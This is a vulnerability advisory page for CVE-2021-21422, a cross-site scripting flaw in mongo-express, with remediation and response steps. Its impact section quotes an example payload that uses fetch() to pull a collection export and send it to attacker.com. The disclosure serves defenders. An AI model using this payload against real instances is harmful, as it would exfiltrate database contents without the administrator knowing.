Cross-Site Scripting (XSS) in mongo-express (CVE-2021-21422)
Summary
Cross-site scripting in mongo-express (CVE-2021-21422). Confidential information can be exposed externally. Mitigation: upgrade to 1.0.0-alpha.4 or later.
Original description
The description as published by the source.
Two kinds of XSS were found:
- As mentioned in https://github.com/mongo-express/mongo-express/issues/577 when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell.
- Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc.
Impact
As an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use this payload:
{"someField": "long string here to surpass the limit of document ...... await fetch('http://localhost:8081/db/testdb/export/users').then( async res => await fetch('http://attacker.com?backup='+encodeURIComponent((await res.text())))) " }
This will send an export of a collection to the attacker without even admin knowing. Other types of attacks such as dropping a database\collection are also possible.
Patches
Upgrade to v1.0.0-alpha.4
For more information
If you have any questions or comments about this advisory:
- Open an issue in mongo-express
- Email me at jafar.akhoondali@gmail.com
Source: OSV.dev (Open Source Vulnerabilities) NVD GitHub Advisory OSV
Auto-generated summary
Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.
A vulnerability tracked as CVE-2021-21422 has been found in mongo-express.
Confidential information can be exposed externally.
What to do: upgrade mongo-express to 1.0.0-alpha.4 or later.
If unsure, ask your IT team or search "mongo-express CVE-2021-21422" on the vendor's site.
CVE-2021-21422 (mongo-express) — CWE-79
Attack vector: remote (network-reachable) / unauthenticated
Patched: 1.0.0-alpha.4 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.
Cross-site scripting (XSS) (CWE-79) exists in mongo-express.
Check the vendor advisory for the affected versions of mongo-express.
Severity: ?. Confidential information can be exposed externally.
Update to 1.0.0-alpha.4.
Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.
Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'mongo-express' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.
Response actions
Concrete steps and command examples for SOC/SRE teams to execute in order
-
1Identify exposure identify
grep -r 'mongo-express' . | grep -v node_modulesリポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で
mongo-expressを grep し、稼働しているサービス・バージョンを把握する。 -
2Apply patch patch
Upgrade mongo-express to 1.0.0-alpha.4ステージング環境で 1.0.0-alpha.4 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。
-
3Post-deployment verification verify
Confirm patched version is live in productionパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。
Affected packages
References
- advisory nvd.nist.gov
- web github.com
- web github.com
- web github.com